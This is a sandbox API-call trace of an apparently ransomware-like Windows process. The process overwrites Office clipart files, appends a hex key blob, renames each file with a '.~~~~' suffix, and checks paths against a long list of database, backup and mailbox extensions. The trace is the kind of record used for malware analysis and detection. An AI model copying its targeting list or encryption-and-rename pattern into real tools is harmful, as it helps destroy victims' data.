	[0107.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866df8
	[0107.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.368] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.368] GetLastError () returned 0x0
	[0107.368] GetLastError () returned 0x0
	[0107.368] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.368] GetLastError () returned 0x0
	[0107.368] GetLastError () returned 0x0
	[0107.372] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd742, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.373] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x28be, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x28be, lpOverlapped=0x0) returned 1
	[0107.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.374] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.374] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.374] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.374] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.374] CloseHandle (hObject=0x144) returned 1
	[0107.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.~~~~")) returned 1
	[0107.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.376] GetLastError () returned 0x0
	[0107.377] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.379] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.379] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.379] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22736964146) returned 1
	[0107.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa9aa9990, dwHighDateTime=0x1d60e1e)) 
	[0107.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28075a0
	[0107.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28075a0 | out: hHeap=0x300000) returned 1
	[0107.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827088
	[0107.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.380] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.381] GetLastError () returned 0x0
	[0107.381] GetLastError () returned 0x0
	[0107.381] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.381] GetLastError () returned 0x0
	[0107.381] GetLastError () returned 0x0
	[0107.385] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffdb29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.385] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x24d7, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x24d7, lpOverlapped=0x0) returned 1
	[0107.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.386] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.386] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.386] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.387] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.387] CloseHandle (hObject=0x144) returned 1
	[0107.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.~~~~")) returned 1
	[0107.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.388] GetLastError () returned 0x0
	[0107.389] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0107.391] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.391] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0107.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0107.391] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22738113819) returned 1
	[0107.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa9acfaf0, dwHighDateTime=0x1d60e1e)) 
	[0107.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0107.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0107.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0107.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28075d8
	[0107.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28075d8 | out: hHeap=0x300000) returned 1
	[0107.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827120
	[0107.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.392] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0107.392] GetLastError () returned 0x0
	[0107.393] GetLastError () returned 0x0
	[0107.393] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0107.393] GetLastError () returned 0x0
	[0107.393] GetLastError () returned 0x0
	[0107.438] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd008, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.438] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x2ff8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x2ff8, lpOverlapped=0x0) returned 1
	[0107.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.439] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.439] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.439] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.439] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.440] CloseHandle (hObject=0x144) returned 1
	[0107.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0107.645] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.~~~~")) returned 1
	[0107.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0107.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0107.664] GetLastError () returned 0x0
	[0107.912] lstrlenW (lpString=".sqb") returned 4
	[0107.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".sqb") returned 0x0
	[0107.912] lstrlenW (lpString=".ost") returned 4
	[0107.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".ost") returned 0x0
	[0107.912] lstrlenW (lpString=".txt") returned 4
	[0107.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".txt") returned 0x0
	[0107.912] lstrlenW (lpString=".mdt") returned 4
	[0107.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".mdt") returned 0x0
	[0107.912] lstrlenW (lpString=".BDB") returned 4
	[0107.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".BDB") returned 0x0
	[0107.912] lstrlenW (lpString=".eql") returned 4
	[0107.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".eql") returned 0x0
	[0107.912] lstrlenW (lpString=".DBF") returned 4
	[0107.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".DBF") returned 0x0
	[0107.912] lstrlenW (lpString=".EQL") returned 4
	[0107.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".EQL") returned 0x0
	[0107.912] lstrlenW (lpString=".FDB") returned 4
	[0107.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".FDB") returned 0x0
	[0107.913] lstrlenW (lpString=".EDB") returned 4
	[0107.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".EDB") returned 0x0
	[0107.913] lstrlenW (lpString=".DACPAC") returned 7
	[0107.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".DACPAC") returned 0x0
	[0107.913] lstrlenW (lpString=".VHD") returned 4
	[0107.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".VHD") returned 0x0
	[0107.913] lstrlenW (lpString=".DBV") returned 4
	[0107.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".DBV") returned 0x0
	[0107.913] lstrlenW (lpString=".dacpac") returned 7
	[0107.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".dacpac") returned 0x0
	[0107.913] lstrlenW (lpString=".sdf") returned 4
	[0107.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".sdf") returned 0x0
	[0107.913] lstrlenW (lpString=".accdb") returned 6
	[0107.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".accdb") returned 0x0
	[0107.913] lstrlenW (lpString=".DBX") returned 4
	[0107.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".DBX") returned 0x0
	[0107.913] lstrlenW (lpString=".MDT") returned 4
	[0107.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".MDT") returned 0x0
	[0107.914] lstrlenW (lpString=".SQB") returned 4
	[0107.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".SQB") returned 0x0
	[0107.914] lstrlenW (lpString=".vhd") returned 4
	[0107.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".vhd") returned 0x0
	[0107.914] lstrlenW (lpString=".bac") returned 4
	[0107.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".bac") returned 0x0
	[0107.914] lstrlenW (lpString=".mdf") returned 4
	[0107.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".mdf") returned 0x0
	[0107.914] lstrlenW (lpString=".BAK") returned 4
	[0107.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".BAK") returned 0x0
	[0107.914] lstrlenW (lpString=".BAC") returned 4
	[0107.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".BAC") returned 0x0
	[0107.914] lstrlenW (lpString=".dbs") returned 4
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".dbs") returned 0x0
	[0107.915] lstrlenW (lpString=".vhdx") returned 5
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".vhdx") returned 0x0
	[0107.915] lstrlenW (lpString=".NDF") returned 4
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".NDF") returned 0x0
	[0107.915] lstrlenW (lpString=".dat") returned 4
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".dat") returned 0x0
	[0107.915] lstrlenW (lpString=".DBS") returned 4
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".DBS") returned 0x0
	[0107.915] lstrlenW (lpString=".CKP") returned 4
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".CKP") returned 0x0
	[0107.915] lstrlenW (lpString=".edb") returned 4
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".edb") returned 0x0
	[0107.915] lstrlenW (lpString=".PST") returned 4
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".PST") returned 0x0
	[0107.915] lstrlenW (lpString=".dbf") returned 4
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".dbf") returned 0x0
	[0107.915] lstrlenW (lpString=".SQL") returned 4
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".SQL") returned 0x0
	[0107.915] lstrlenW (lpString=".pst") returned 4
	[0107.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".pst") returned 0x0
	[0107.916] lstrlenW (lpString=".dbv") returned 4
	[0107.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".dbv") returned 0x0
	[0107.916] lstrlenW (lpString=".SDF") returned 4
	[0107.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".SDF") returned 0x0
	[0107.916] lstrlenW (lpString=".dtxs") returned 5
	[0107.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".dtxs") returned 0x0
	[0107.916] lstrlenW (lpString=".db3") returned 4
	[0107.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".db3") returned 0x0
	[0107.916] lstrlenW (lpString=".OST") returned 4
	[0107.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".OST") returned 0x0
	[0107.916] lstrlenW (lpString=".dbx") returned 4
	[0107.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".dbx") returned 0x0
	[0107.916] lstrlenW (lpString=".DB3") returned 4
	[0107.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".DB3") returned 0x0
	[0107.916] lstrlenW (lpString=".DAT") returned 4
	[0107.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".DAT") returned 0x0
	[0107.916] lstrlenW (lpString=".VHDX") returned 5
	[0107.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".VHDX") returned 0x0
	[0107.916] lstrlenW (lpString=".ndf") returned 4
	[0107.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".ndf") returned 0x0
	[0107.916] lstrlenW (lpString=".DB") returned 3
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".DB") returned 0x0
	[0107.917] lstrlenW (lpString=".sql") returned 4
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".sql") returned 0x0
	[0107.917] lstrlenW (lpString=".MYD") returned 4
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".MYD") returned 0x0
	[0107.917] lstrlenW (lpString=".DBT") returned 4
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".DBT") returned 0x0
	[0107.917] lstrlenW (lpString=".ACCDB") returned 6
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".ACCDB") returned 0x0
	[0107.917] lstrlenW (lpString=".fdb") returned 4
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".fdb") returned 0x0
	[0107.917] lstrlenW (lpString=".bak") returned 4
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".bak") returned 0x0
	[0107.917] lstrlenW (lpString=".myd") returned 4
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".myd") returned 0x0
	[0107.917] lstrlenW (lpString=".DTXS") returned 5
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".DTXS") returned 0x0
	[0107.917] lstrlenW (lpString=".ckp") returned 4
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".ckp") returned 0x0
	[0107.917] lstrlenW (lpString=".dbt") returned 4
	[0107.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".dbt") returned 0x0
	[0107.918] lstrlenW (lpString=".db") returned 3
	[0107.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".db") returned 0x0
	[0107.918] lstrlenW (lpString=".TXT") returned 4
	[0107.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".TXT") returned 0x0
	[0107.918] lstrlenW (lpString=".MDF") returned 4
	[0107.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".MDF") returned 0x0
	[0107.918] lstrlenW (lpString=".bdb") returned 4
	[0107.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", lpSrch=".bdb") returned 0x0
	[0107.918] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
